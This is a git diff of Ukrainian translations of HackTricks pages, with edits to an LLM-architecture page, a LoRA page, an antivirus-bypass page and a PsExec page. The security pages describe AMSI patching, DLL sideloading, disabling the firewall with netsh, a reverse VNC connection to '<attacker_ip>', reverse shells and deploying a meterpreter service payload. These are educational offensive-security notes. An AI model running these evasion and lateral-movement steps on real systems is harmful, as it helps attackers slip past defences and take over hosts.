* **Складення Шарів:** Поєднує багатоголову увагу, мережу прямого проходження, нормалізацію шару та залишкові з'єднання.
* **Нормалізація Шару:** Застосовується перед шарами уваги та прямого проходження для стабільного навчання.
* **Залишкові З'єднання (Швидкі З'єднання):** Додають вхід шару до його виходу для покращення потоку градієнтів та можливості навчання глибоких мереж.
* **Випадкове Вимкнення:** Застосовується після шарів уваги та прямого проходження для регуляризації.
* **Випадкове Випадання:** Застосовується після шарів уваги та прямого проходження для регуляризації.
#### **Покрокова Функціональність**
1. **Перший Залишковий Шлях (Само-Увага):**
* **Вхід (`shortcut`):** Зберегти оригінальний вхід для залишкового з'єднання.
* **Нормалізація Шару (`norm1`):** Нормалізувати вхід.
* **Багатоголова Увага (`att`):** Застосувати само-увагу.
* **Випадкове Вимкнення (`drop_shortcut`):** Застосувати випадкове вимкнення для регуляризації.
* **Багатоголове Увага (`att`):** Застосувати само-увагу.
* **Випадкове Випадання (`drop_shortcut`):** Застосувати випадкове випадання для регуляризації.
* **Додати Залишок (`x + shortcut`):** Об'єднати з оригінальним входом.
2. **Другий Залишковий Шлях (Пряме Проходження):**
* **Вхід (`shortcut`):** Зберегти оновлений вхід для наступного залишкового з'єднання.
* **Нормалізація Шару (`norm2`):** Нормалізувати вхід.
* **Мережа Прямого Проходження (`ff`):** Застосувати перетворення прямого проходження.
* **Випадкове Вимкнення (`drop_shortcut`):** Застосувати випадкове вимкнення.
* **Мережа Прямого Проходження (`ff`):** Застосувати трансформацію прямого проходження.
* **Випадкове Випадання (`drop_shortcut`):** Застосувати випадкове випадання.
* **Додати Залишок (`x + shortcut`):** Об'єднати з входом з першого залишкового шляху.
{% hint style="info" %}
Блок трансформера об'єднує всі мережі разом і застосовує деяку **нормалізацію** та **випадкові вимкнення** для покращення стабільності навчання та результатів.\
Зверніть увагу, що випадкові вимкнення виконуються після використання кожної мережі, тоді як нормалізація застосовується перед.
Блок трансформера об'єднує всі мережі разом і застосовує деяку **нормалізацію** та **випадкові випадання** для покращення стабільності навчання та результатів.\
Зверніть увагу, що випадкові випадання виконуються після використання кожної мережі, тоді як нормалізація застосовується перед.
Крім того, він також використовує швидкі з'єднання, які полягають у **додаванні виходу мережі до її входу**. Це допомагає запобігти проблемі зникнення градієнта, забезпечуючи, щоб початкові шари вносили "стільки ж", скільки останні.
{% endhint %}
@ -530,7 +530,7 @@ mha_params = total_qkv_params + out_proj_params
mha_params = 1,769,472 + 590,592 = 2,360,064
```
**b. Мережа зворотного зв'язку**
**b. Мережа прямого проходження**
* **Компоненти:**
* **Перший лінійний шар:** `nn.Linear(emb_dim, 4 * emb_dim)`
@ -548,7 +548,7 @@ ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368
ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064
```
* **Загальна кількість параметрів зворотного зв'язку:**
* **Загальна кількість параметрів мережі прямого проходження:**
```python
ff_params = ff_first_layer_params + ff_second_layer_params
@ -609,7 +609,7 @@ total_params = 163,009,536
```
## Генерація тексту
Маючи модель, яка передбачає наступний токен, як і попередній, потрібно просто взяти останні значення токенів з виходу (оскільки вони будуть значеннями передбаченого токена), які будуть **значенням на запис у словнику**, а потім використати функцію `softmax`, щоб нормалізувати виміри в ймовірності, які в сумі дорівнюють 1, а потім отримати індекс найбільшого запису, який буде індексом слова в словнику.
Маючи модель, яка передбачає наступний токен, як і попередній, потрібно просто взяти останні значення токенів з виходу (оскільки вони будуть значеннями передбаченого токена), які будуть **значенням для кожного елемента в словнику**, а потім використати функцію `softmax`, щоб нормалізувати виміри в ймовірності, які в сумі дорівнюють 1, а потім отримати індекс найбільшого елемента, який буде індексом слова в словнику.
Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb):
```python

View file

@ -6,15 +6,15 @@
Використання **LoRA значно зменшує обчислення**, необхідні для **додаткового налаштування** вже навчених моделей.
{% endhint %}
LoRA робить можливим ефективне **додаткове налаштування великих моделей**, змінюючи лише **невелику частину** моделі. Це зменшує кількість параметрів, які потрібно навчати, заощаджуючи **пам'ять** та **обчислювальні ресурси**. Це відбувається тому, що:
LoRA робить можливим ефективне додаткове налаштування **великих моделей**, змінюючи лише **невелику частину** моделі. Це зменшує кількість параметрів, які потрібно навчати, заощаджуючи **пам'ять** та **обчислювальні ресурси**. Це відбувається тому, що:
1. **Зменшує кількість навчальних параметрів**: Замість оновлення всієї вагової матриці в моделі, LoRA **ділить** вагову матрицю на дві менші матриці (названі **A** та **B**). Це робить навчання **швидшим** і вимагає **менше пам'яті**, оскільки потрібно оновити менше параметрів.
1. **Зменшує кількість навчальних параметрів**: Замість оновлення всієї матриці ваг у моделі, LoRA **ділить** матрицю ваг на дві менші матриці (названі **A** та **B**). Це робить навчання **швидшим** і вимагає **менше пам'яті**, оскільки потрібно оновити менше параметрів.
1. Це відбувається тому, що замість обчислення повного оновлення ваги шару (матриці), воно апроксимує його до добутку 2 менших матриць, зменшуючи оновлення для обчислення:\
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
2. **Зберігає оригінальні ваги моделі незмінними**: LoRA дозволяє зберігати оригінальні ваги моделі такими ж, і лише оновлює **нові маленькі матриці** (A та B). Це корисно, оскільки означає, що оригінальні знання моделі зберігаються, і ви лише налаштовуєте те, що необхідно.
3. **Ефективне специфічне налаштування завдань**: Коли ви хочете адаптувати модель до **нового завдання**, ви можете просто навчати **маленькі матриці LoRA** (A та B), залишаючи решту моделі без змін. Це **набагато ефективніше**, ніж повторне навчання всієї моделі.
3. **Ефективне специфічне налаштування завдань**: Коли ви хочете адаптувати модель до **нового завдання**, ви можете просто навчити **маленькі матриці LoRA** (A та B), залишаючи решту моделі без змін. Це **набагато ефективніше**, ніж повторне навчання всієї моделі.
4. **Ефективність зберігання**: Після додаткового налаштування, замість збереження **цілковито нової моделі** для кожного завдання, вам потрібно зберігати лише **матриці LoRA**, які є дуже маленькими в порівнянні з усією моделлю. Це полегшує адаптацію моделі до багатьох завдань без використання занадто багато пам'яті.
Щоб реалізувати LoraLayers замість лінійних під час додаткового налаштування, тут пропонується цей код [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb):

View file

@ -1,8 +1,8 @@
# Antivirus (AV) Bypass
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в усній та письмовій формі_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -100,13 +100,13 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
{% endcode %}
Ця команда виведе список програм, які підлягають атаці через підміни DLL, у "C:\Program Files\\" та DLL файли, які вони намагаються завантажити.
Ця команда виведе список програм, які підлягають атаці через підміни DLL у "C:\Program Files\\" та DLL файли, які вони намагаються завантажити.
Я настійно рекомендую вам **самостійно дослідити програми, які підлягають підміні DLL/можуть бути завантажені**, ця техніка досить непомітна, якщо її правильно виконати, але якщо ви використовуєте публічно відомі програми, які можуть бути завантажені через DLL, вас можуть легко спіймати.
Я настійно рекомендую вам **самостійно дослідити програми, які можна підмінити через DLL/Sideloadable**, ця техніка досить непомітна, якщо її правильно виконати, але якщо ви використовуєте публічно відомі програми, які можна підмінити через DLL, вас можуть легко спіймати.
Просто розмістивши шкідливу DLL з ім'ям, яке програма очікує завантажити, не запустить ваш вантаж, оскільки програма очікує деякі специфічні функції всередині цієї DLL. Щоб вирішити цю проблему, ми використаємо іншу техніку, звану **DLL Проксіюванням/Пересиланням**.
Просто розмістивши шкідливу DLL з ім'ям, яке програма очікує завантажити, не запустить ваш вантаж, оскільки програма очікує деякі специфічні функції всередині цієї DLL, щоб вирішити цю проблему, ми використаємо іншу техніку, звану **DLL Proxying/Forwarding**.
**DLL Проксіювання** пересилає виклики, які програма робить з проксі (і шкідливої) DLL до оригінальної DLL, таким чином зберігаючи функціональність програми та здатність обробляти виконання вашого вантажу.
**DLL Proxying** перенаправляє виклики, які програма робить з проксі (і шкідливої) DLL до оригінальної DLL, таким чином зберігаючи функціональність програми та здатність обробляти виконання вашого вантажу.
Я буду використовувати проект [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) від [@flangvik](https://twitter.com/Flangvik/)
@ -135,7 +135,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Як наш shellcode (кодується за допомогою [SGN](https://github.com/EgeBalci/sgn)), так і проксі DLL мають 0/26 рівень виявлення на [antiscan.me](https://antiscan.me)! Я б назвав це успіхом.
Як наш shellcode (закодований за допомогою [SGN](https://github.com/EgeBalci/sgn)), так і проксі DLL мають 0/26 рівень виявлення на [antiscan.me](https://antiscan.me)! Я б назвав це успіхом.
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
@ -162,7 +162,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
## AMSI (Інтерфейс сканування антивірусного програмного забезпечення)
AMSI був створений для запобігання "[безфайловому шкідливому ПЗ](https://en.wikipedia.org/wiki/Fileless\_malware)". Спочатку антивірусні програми могли сканувати лише **файли на диску**, тому, якщо ви могли якимось чином виконати корисне навантаження **безпосередньо в пам'яті**, антивірус не міг нічого зробити, щоб цьому запобігти, оскільки не мав достатньої видимості.
AMSI був створений для запобігання "[безфайловому шкідливому ПЗ](https://en.wikipedia.org/wiki/Fileless\_malware)". Спочатку антивірусні програми могли лише сканувати **файли на диску**, тому, якщо ви могли якимось чином виконати корисне навантаження **безпосередньо в пам'яті**, антивірус не міг нічого зробити, щоб цьому запобігти, оскільки не мав достатньої видимості.
Функція AMSI інтегрована в ці компоненти Windows.
@ -178,7 +178,7 @@ AMSI був створений для запобігання "[безфайло
<figure><img src="../.gitbook/assets/image (1135).png" alt=""><figcaption></figcaption></figure>
Зверніть увагу, як перед `amsi:` йде шлях до виконуваного файлу, з якого запустився скрипт, у цьому випадку, powershell.exe
Зверніть увагу, як передує `amsi:` і потім шлях до виконуваного файлу, з якого запустився скрипт, у цьому випадку, powershell.exe
Ми не скинули жодного файлу на диск, але все ж були спіймані в пам'яті через AMSI.
@ -192,7 +192,7 @@ AMSI був створений для запобігання "[безфайло
* **Обхід AMSI**
Оскільки AMSI реалізується шляхом завантаження DLL у процес PowerShell (також cscript.exe, wscript.exe тощо), його можна легко підробити, навіть працюючи як неправа користувач. Через цей недолік у реалізації AMSI дослідники знайшли кілька способів уникнути сканування AMSI.
Оскільки AMSI реалізується шляхом завантаження DLL у процес PowerShell (також cscript.exe, wscript.exe тощо), його можна легко підробити, навіть працюючи як неправа користувача. Через цей недолік у реалізації AMSI дослідники знайшли кілька способів уникнути сканування AMSI.
**Примусова помилка**
@ -224,23 +224,23 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
**Memory Patching**
Цю техніку спочатку виявив [@RastaMouse](https://twitter.com/\_RastaMouse/) і вона полягає у знаходженні адреси для функції "AmsiScanBuffer" в amsi.dll (відповідальної за сканування введених користувачем даних) та переписуванні її інструкціями, щоб повернути код для E\_INVALIDARG, таким чином, результат фактичного сканування поверне 0, що інтерпретується як чистий результат.
Цю техніку спочатку виявив [@RastaMouse](https://twitter.com/\_RastaMouse/), і вона полягає у знаходженні адреси функції "AmsiScanBuffer" в amsi.dll (відповідальної за сканування введених користувачем даних) та переписуванні її інструкціями, які повертають код E\_INVALIDARG, таким чином, результат фактичного сканування поверне 0, що інтерпретується як чистий результат.
{% hint style="info" %}
Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation.
{% endhint %}
Існує також багато інших технік, які використовуються для обходу AMSI з powershell, ознайомтеся з [**цією сторінкою**](basic-powershell-for-pentesters/#amsi-bypass) та [цього репозиторію](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), щоб дізнатися більше про них.
Існує також багато інших технік, які використовуються для обходу AMSI за допомогою PowerShell, ознайомтеся з [**цією сторінкою**](basic-powershell-for-pentesters/#amsi-bypass) та [цією репозиторією](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), щоб дізнатися більше про них.
Або цей скрипт, який через пам'яткове патчування буде патчити кожен новий Powersh
## Obfuscation
Існує кілька інструментів, які можна використовувати для **обфускації C# коду у відкритому тексті**, генерувати **метапрограмні шаблони** для компіляції бінарних файлів або **обфускації скомпільованих бінарних файлів**, таких як:
Існує кілька інструментів, які можна використовувати для **обфускації C# коду у відкритому тексті**, генерації **метапрограмних шаблонів** для компіляції бінарних файлів або **обфускації скомпільованих бінарних файлів**, таких як:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# обфускатор**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Метою цього проекту є надання відкритого коду форку компіляційного пакету [LLVM](http://www.llvm.org/), здатного забезпечити підвищену безпеку програмного забезпечення через [обфускацію коду](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) та захист від підробки.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator демонструє, як використовувати мову `C++11/14` для генерації, під час компіляції, обфускованого коду без використання будь-якого зовнішнього інструменту та без модифікації компілятора.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator демонструє, як використовувати мову `C++11/14` для генерації обфускованого коду під час компіляції без використання будь-якого зовнішнього інструменту та без модифікації компілятора.
* [**obfy**](https://github.com/fritzone/obfy): Додає шар обфускованих операцій, згенерованих за допомогою шаблонного метапрограмування C++, що ускладнить життя людині, яка хоче зламати додаток.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz - це обфускатор бінарних файлів x64, здатний обфускувати різні файли pe, включаючи: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame - це простий метаморфний кодовий двигун для довільних виконуваних файлів.
@ -250,7 +250,7 @@ Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamo
## SmartScreen & MoTW
Ви, можливо, бачили цей екран, коли завантажували деякі виконувані файли з Інтернету та виконували їх.
Ви, можливо, бачили цей екран під час завантаження деяких виконуваних файлів з Інтернету та їх виконання.
Microsoft Defender SmartScreen - це механізм безпеки, призначений для захисту кінцевого користувача від запуску потенційно шкідливих додатків.
@ -258,7 +258,7 @@ Microsoft Defender SmartScreen - це механізм безпеки, приз
SmartScreen в основному працює на основі репутації, що означає, що незвичайно завантажені програми активують SmartScreen, тим самим попереджаючи та заважаючи кінцевому користувачу виконувати файл (хоча файл все ще можна виконати, натиснувши Більше інформації -> Запустити все ж).
**MoTW** (Mark of The Web) - це [потік альтернативних даних NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) з назвою Zone.Identifier, який автоматично створюється під час завантаження файлів з Інтернету, разом з URL-адресою, з якої він був завантажений.
**MoTW** (Mark of The Web) - це [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) з назвою Zone.Identifier, який автоматично створюється під час завантаження файлів з Інтернету разом з URL-адресою, з якої він був завантажений.
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>Перевірка Zone.Identifier ADS для файлу, завантаженого з Інтернету.</p></figcaption></figure>
@ -308,13 +308,13 @@ Adding file: /TotallyLegitApp.exe
* **Fork\&Run**
Це передбачає **створення нового жертвеного процесу**, ін'єкцію вашого шкідливого коду після експлуатації в цей новий процес, виконання вашого шкідливого коду, а коли закінчите, вбити новий процес. Це має свої переваги та недоліки. Перевага методу fork and run полягає в тому, що виконання відбувається **ззовні** нашого процесу Beacon implant. Це означає, що якщо щось у нашій дії після експлуатації піде не так або буде спіймано, є **набагато більша ймовірність** того, що наш **імплант виживе.** Недолік полягає в тому, що у вас є **більша ймовірність** бути спійманим за допомогою **поведінкових виявлень**.
Це передбачає **створення нового жертвеного процесу**, ін'єкцію вашого шкідливого коду після експлуатації в цей новий процес, виконання вашого шкідливого коду, а коли закінчите, вбити новий процес. Це має свої переваги та недоліки. Перевага методу fork and run полягає в тому, що виконання відбувається **ззовні** нашого процесу Beacon implant. Це означає, що якщо щось у нашій дії після експлуатації піде не так або буде спіймано, є **набагато більша ймовірність** того, що наш **імплант виживе.** Недолік полягає в тому, що у вас є **більша ймовірність** бути спійманим за допомогою **поведінкових детекцій**.
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
* **Inline**
Це про ін'єкцію шкідливого коду після експлуатації **в його власний процес**. Таким чином, ви можете уникнути створення нового процесу та його сканування AV, але недолік полягає в тому, що якщо щось піде не так з виконанням вашого payload, є **набагато більша ймовірність** **втрати вашого beacon**, оскільки він може зламатися.
Це про ін'єкцію шкідливого коду після експлуатації **в його власний процес**. Таким чином, ви можете уникнути створення нового процесу та його сканування AV, але недолік полягає в тому, що якщо щось піде не так з виконанням вашого payload, є **набагато більша ймовірність** **втратити ваш beacon**, оскільки він може зламатися.
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
@ -350,7 +350,7 @@ Adding file: /TotallyLegitApp.exe
### **Перевірте, які частини Defender вважає шкідливими**
Ви можете використовувати [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), який **видалить частини бінарного файлу**, поки не **виявить, яка частина Defender** вважає шкідливою, і розділить це для вас.\
Ви можете використовувати [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), який **видалить частини бінарного файлу**, поки не **виявить, яка частина Defender** вважає шкідливою, і розділить її для вас.\
Інший інструмент, який робить **те саме** - це [**avred**](https://github.com/dobin/avred) з відкритим веб-сайтом, що пропонує послугу на [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnet сервер**
@ -382,9 +382,9 @@ netsh advfirewall set allprofiles state off
#### **Зворотне з'єднання**
**Атакуючий** повинен **виконати всередині** свого **хоста** бінарний файл `vncviewer.exe -listen 5900`, щоб він був **готовий** прийняти зворотне **VNC з'єднання**. Потім, всередині **жертви**: Запустіть демон winvnc `winvnc.exe -run` і виконайте `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**Атакуючий** повинен **виконати всередині** свого **хоста** бінарний файл `vncviewer.exe -listen 5900`, щоб він був **підготовлений** для прийому зворотного **VNC з'єднання**. Потім, всередині **жертви**: Запустіть демон winvnc `winvnc.exe -run` і виконайте `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**УВАГА:** Щоб зберегти прихованість, ви не повинні робити кілька речей
**ПОПЕРЕДЖЕННЯ:** Щоб зберегти прихованість, ви не повинні робити кілька речей
* Не запускайте `winvnc`, якщо він вже працює, або ви викличете [вікно сповіщення](https://i.imgur.com/1SROTTl.png). перевірте, чи він працює за допомогою `tasklist | findstr winvnc`
* Не запускайте `winvnc` без `UltraVNC.ini` в тому ж каталозі, інакше відкриється [вікно конфігурації](https://i.imgur.com/rfMQWcf.png)
@ -416,11 +416,11 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**Поточний захисник дуже швидко завершить процес.**
### Компіляція нашого власного реверс-шелу
### Компіляція нашого власного реверс-шеллу
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
#### Перший C# реверс-шел
#### Перший C# реверс-шелл
Скомпілюйте його з:
```
@ -569,15 +569,15 @@ https://github.com/praetorian-code/vulcan
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -585,7 +585,7 @@ https://github.com/praetorian-code/vulcan
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# PsExec/Winexec/ScExec
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,15 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Як вони працюють
Процес описаний у наступних кроках, що ілюструють, як бінарні файли служб маніпулюються для досягнення віддаленого виконання на цільовій машині через SMB:
1. **Копіювання бінарного файлу служби до спільного доступу ADMIN$ через SMB** виконується.
1. **Копіювання бінарного файлу служби на загальний доступ ADMIN$ через SMB** виконується.
2. **Створення служби на віддаленій машині** здійснюється шляхом вказівки на бінарний файл.
3. Служба **запускається віддалено**.
4. Після виходу служба **зупиняється, а бінарний файл видаляється**.
@ -32,7 +30,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
Припустимо, що є виконуваний вантаж (створений за допомогою msfvenom і обфусцований за допомогою Veil для уникнення виявлення антивірусом), названий 'met8888.exe', що представляє вантаж meterpreter reverse_http, виконуються наступні кроки:
* **Копіювання бінарного файлу**: Виконуваний файл копіюється до спільного доступу ADMIN$ з командного рядка, хоча його можна розмістити в будь-якому місці файлової системи, щоб залишитися непоміченим.
* **Копіювання бінарного файлу**: Виконуваний файл копіюється на загальний доступ ADMIN$ з командного рядка, хоча його можна розмістити в будь-якому місці файлової системи, щоб залишитися непоміченим.
* **Створення служби**: Використовуючи команду Windows `sc`, яка дозволяє запитувати, створювати та видаляти служби Windows віддалено, створюється служба з назвою "meterpreter", яка вказує на завантажений бінарний файл.
* **Запуск служби**: Останній крок полягає в запуску служби, що, ймовірно, призведе до помилки "time-out" через те, що бінарний файл не є справжнім бінарним файлом служби і не повертає очікуваний код відповіді. Ця помилка не має значення, оскільки основна мета - виконання бінарного файлу.
@ -54,13 +52,11 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
```
{% endcode %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>